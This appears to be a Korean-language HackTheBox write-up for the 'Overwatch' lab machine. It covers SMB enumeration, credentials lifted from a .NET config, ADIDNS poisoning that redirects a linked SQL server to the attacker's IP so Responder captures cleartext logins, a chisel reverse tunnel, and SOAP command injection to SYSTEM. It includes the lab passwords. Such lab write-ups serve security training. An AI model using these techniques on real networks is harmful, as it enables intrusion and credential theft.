Overwatch

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
 
notion image
 

Reconnaissance

nmap -sV 10.129.20.112
notion image
  • 서비스들을 보니 AD 환경인걸 확인할 수 있다.
 
nxc smb 10.129.20.122 -u '' -p '' --shares
notion image
nxc smb 10.129.20.122 -u 'guest' -p '' --shares
notion image
  • 크리덴셜을 비워놓을땐 access_denied가 떠서 guest로 접근해보았다.
  • IPC$, software$ 디렉토리에 read권한이 존재한다.
 
smbclient -U guest //overwatch.htb/software$
notion image
  • /software$/Monitoring 디렉토리 내부에서 SQL관련 파일들과 overwatch 서비스 관련 파일들을 찾아내었고, 파일들을 전부 받아서 overwatch 파일들 위주로 확인해주었다.
 

Exploitation

notion image
  • overwatch.exe.config 파일에서 http://overwatch.htb:8000/MonitorService 라는 웹 엔드포인트 하나를 확인하였다.
  • 8000포트는 막혀있는걸 보니 내부에서 돌아가는 웹 서버인듯하다.
 
notion image
  • .NET 파일을 분석하기 위해 dnSpy 툴을 사용해 코드를 읽어봤더니 DB conn 정보에서 크리덴셜을 획득하였다.
  • ( sqlsvc / TI0LKcfHzZw1Vv )
 
nxc smb overwatch.htb -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' --users
notion image
  • 먼저 얻어낸 크리덴셜로 smb에 접근이 가능하였고 탐색을 진행해주었다.
  • user들이 계속나온다.. 100명이 넘음
 
bloodhound-python -c all -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' -d overwatch.htb -ns 10.129.20.122 --zip
notion image
notion image
  • ADAM.RUSSELL이 ADMINSTRATOR 그룹에 포함되어있었다. 이 유저의 계정을 얻어내는게 최종 목표인거같다.
  • 여기서 한동안 100개 넘는 유저계정들을 괴롭히며 삽질을 하였다…
 
nmap -sV -p 1-10000 10.129.20.122
notion image
  • sql계정인데 열려있는 SQL서버가 없어서 혹시 다른 포트에 열려있나 싶어서 10000번까지 스캔을 다시 해보았다.
  • 6520번에 mssql 서버가 있었다.
 
mssqlclient.py OVERWATCH.HTB/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.20.122 -windows-auth -port 6520
notion image
  • port번호를 따로 옵션으로 명시해주어 접속했다.
  • 접속한 이후에 db도 열심히 뒤지고, NTLM hash crack도 시도해보고, 이거저거 하면서 열심히 또 헤매주었다.
 
EXEC sp_linkedservers;
SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version');
notion image
notion image
  • 처음 본 ADIDNS의 특징을 활용한 공격이었다.
  • ADIDNS ( Active Directory Integrated DNS )
    • 쉽게 말해 AD 내부 DNS 서비스이다.
    • DACL 방식으로 운영되기에 일반 유저들도 기본적으로 ADIDNS zone에 record를 추가할 수 있다.
  • 여기서의 아이디어는 ADIDNS poisoning을 통해 SQL07의 주소를 공격자 서버를 향하도록 조작할 수 있다면 그때의 연결정보를 얻어낼 수 있다는 것이다.
 
dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' -r SQL07 --data 10.10.14.116 --action add --type A 10.129.20.122
notion image
  • dns record 추가에 성공하였다!
 
sudo responder -I tun0
SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version');
notion image
  • 칼리서버에서 responder를 켜놓고 트리거하니 sqlmgmt 계정이 cleartext 형태로 넘어왔다.
  • ( sqlmgmt / bIhBbzMMnB82yx )
 
evil-winrm -i overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
notion image
notion image
  • sqlmgmt 계정은 remoate management users 그룹에 속해있어서 얻어낸 크리덴셜로 winrm에 접속해주었다.
  • /sqlmgmt/Desktop 에서 user flag 획득!!
 

Privilege Escalation

Invoke-WebRequest http://overwatch.htb:8000/MonitorService -UseBasicParsing
notion image
  • 셸을 획득했으니 아까 봐놨던 내부 웹사이트를 확인해볼 차례이다.
  • 지금 서버에서 접근이 가능해서 브라우저로 보기위해 chisel을 쓸것이다.
 
chisel.exe client 10.10.14.116:10000 R:socks
chisel server -p 10000 --reverse
sudo vi /etc/proxychains4.conf
notion image
notion image
notion image
  • chisel로 연결해놓고 proxychains socks5 설정도 해주었다.
 
http://localhost:8000/MonitorService
notion image
  • 개발자용 설명 페이지 같다.
 
http://localhost:8000/MonitorService?singleWsdl
notion image
  • server 설명을 볼 수 있다고 써있어서 읽어보았더니 취약해 보이는 부분이 있었다.
  • xml을 활용하는 SOAP 방식을 사용하고 있었고, KillProcess 부분에서 사용자 입력을 통한 command injection이 의심되었다.
  • 이후에 Response를 통해 결과값도 확인이 가능
 
  • 그래서 proxychains curl로 위와같이 요청을 보내보았고 command injection이 발생하는걸 확인했다.
  • nt authority\system의 계정으로 명령어가 실행되고 있었다.
 
  • 바로 ../../Users/Administrator/Desktop/root.txt를 읽어주면서 root flag 획득!!
 
Loading...